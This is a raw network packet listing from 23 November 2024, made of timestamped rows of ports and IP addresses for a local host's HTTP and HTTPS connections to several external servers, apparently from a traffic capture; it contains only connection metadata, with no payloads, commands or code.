Nov 23, 2024 01:14:34.996886015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.997693062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.997757912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.997797012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.997833967 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:34.998634100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:34.998687983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.037419081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.070314884 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.072654963 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.072664976 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.074124098 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.074213982 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.075273037 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.075366020 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.075491905 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.101401091 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.101468086 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.101579905 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.101830006 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.101846933 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.101857901 CET	49846	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.101862907 CET	443	49846	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.105062008 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.105145931 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.105240107 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.105416059 CET	49866	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.105434895 CET	443	49866	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.119373083 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.122622013 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.122627974 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.148778915 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.148845911 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.149106979 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.149600983 CET	49850	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.149610043 CET	443	49850	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.153345108 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.153392076 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.153573036 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.154764891 CET	49867	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.154778004 CET	443	49867	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.156836033 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.170909882 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.171349049 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.171391964 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.171437979 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.171497107 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.171509981 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.171540976 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.171556950 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.179573059 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.179764986 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.179846048 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.180010080 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.180022955 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.180157900 CET	49807	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.180162907 CET	443	49807	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.194612026 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.194763899 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.194962978 CET	49849	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.195125103 CET	49849	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.195132971 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.195166111 CET	49849	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.195171118 CET	443	49849	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.198471069 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.198487997 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.198573112 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.198932886 CET	49868	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.198945999 CET	443	49868	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.203711033 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.204196930 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.204222918 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.205873966 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.205964088 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.207032919 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.207123995 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.207410097 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.207418919 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.207443953 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.207459927 CET	443	49851	51.116.253.170	192.168.2.5
Nov 23, 2024 01:14:35.216023922 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.216212988 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.216751099 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.218283892 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.218283892 CET	49848	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.218296051 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.218303919 CET	443	49848	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.219156981 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.219475985 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.219485044 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.220948935 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.221013069 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.221520901 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.221604109 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.221828938 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.221837044 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.230372906 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:35.230396986 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:35.230621099 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:35.230768919 CET	49869	443	192.168.2.5	23.43.85.36
Nov 23, 2024 01:14:35.230779886 CET	443	49869	23.43.85.36	192.168.2.5
Nov 23, 2024 01:14:35.235898018 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.235905886 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.236038923 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.236390114 CET	49870	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.236401081 CET	443	49870	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.248955965 CET	49851	443	192.168.2.5	51.116.253.170
Nov 23, 2024 01:14:35.261568069 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.261729002 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.261787891 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.263125896 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.263145924 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.263159990 CET	49847	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.263166904 CET	443	49847	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.264960051 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.266871929 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.267143965 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.267149925 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.267956018 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.267992973 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.268106937 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.268277884 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.268584967 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.268716097 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.268728971 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.269151926 CET	49871	443	192.168.2.5	13.107.246.63
Nov 23, 2024 01:14:35.269165993 CET	443	49871	13.107.246.63	192.168.2.5
Nov 23, 2024 01:14:35.297338009 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.297578096 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.297630072 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.297636986 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.297755957 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.297769070 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.298115015 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.298460007 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.298508883 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.298618078 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.298695087 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.298753023 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.299180031 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.299263000 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.299410105 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.311325073 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.311331987 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.312553883 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.312815905 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.312824011 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.316354990 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.316421986 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.316829920 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.316998005 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.317023039 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.342751026 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.342758894 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.343334913 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.358083010 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.358089924 CET	443	49857	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.381829977 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.381859064 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.381942987 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.382208109 CET	49872	443	192.168.2.5	40.126.53.13
Nov 23, 2024 01:14:35.382222891 CET	443	49872	40.126.53.13	192.168.2.5
Nov 23, 2024 01:14:35.388420105 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.404047012 CET	49857	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.488360882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.488419056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.488492012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.488542080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.488940001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.488955021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.488991976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.489000082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.489022017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.489041090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.489897966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.489948034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.489953041 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.490029097 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.490853071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.490962029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.490974903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.491025925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.491827011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.491879940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.491923094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.491966963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.492789984 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.492847919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.492899895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.493036985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.493788958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.493839025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.493874073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.493921041 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.494734049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.494784117 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.494925022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.494992018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.495701075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.495752096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.495795012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.495839119 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.496665001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.496735096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.496746063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.496855021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.497652054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.497711897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.497751951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.497793913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.498617887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.498738050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.498790979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.499592066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.499653101 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.499691963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.499733925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.500565052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.500637054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.500678062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.500720024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.501518965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.501588106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.501624107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.501672029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.502516985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.502585888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.502634048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.502748966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.503468990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.503498077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.503535986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.503546000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.504434109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.504483938 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.504524946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.504579067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.505389929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.505439997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.505472898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.505517960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.506366014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.506455898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.506475925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.506519079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.507330894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.507385015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.507427931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.507468939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.508328915 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.508382082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.508435011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.508569002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.509279013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.509327888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.509366035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.509412050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.510242939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.510293961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.510355949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.510396957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.511229038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.511271954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.511277914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.511329889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.512171030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.512227058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.512264967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.512305975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.513137102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.513195038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.513278008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.513319016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.514121056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.514183044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.514489889 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.514549971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.515113115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.515167952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.515204906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.515492916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.516063929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.516168118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.516212940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.517028093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.517074108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.517117023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.517153978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.518026114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.518071890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.518083096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.518126011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.518969059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.519043922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.519061089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:35.519099951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:35.529969931 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.531094074 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:35.531116009 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.531609058 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.532593966 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:35.532680035 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.532900095 CET	49860	443	192.168.2.5	18.173.132.116
Nov 23, 2024 01:14:35.573307991 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.573565960 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.573627949 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.574501991 CET	49852	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.574510098 CET	443	49852	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.575347900 CET	443	49860	18.173.132.116	192.168.2.5
Nov 23, 2024 01:14:35.581783056 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.581801891 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.581877947 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.582108974 CET	49873	443	192.168.2.5	23.101.168.44
Nov 23, 2024 01:14:35.582123041 CET	443	49873	23.101.168.44	192.168.2.5
Nov 23, 2024 01:14:35.652755022 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.652780056 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.652839899 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.652853966 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.652909040 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.655272961 CET	49855	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.655278921 CET	443	49855	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.709512949 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.709594011 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.709646940 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.710746050 CET	49853	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.710752964 CET	443	49853	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.750406027 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.750431061 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.750483990 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.750493050 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.750530005 CET	443	49854	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.750576019 CET	49854	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.760313034 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.760337114 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.760349035 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.760384083 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.760396957 CET	443	49856	23.200.3.13	192.168.2.5
Nov 23, 2024 01:14:35.760418892 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.760438919 CET	49856	443	192.168.2.5	23.200.3.13
Nov 23, 2024 01:14:35.760788918 CET	443	49856	23.200.3.13	192.168.2.5
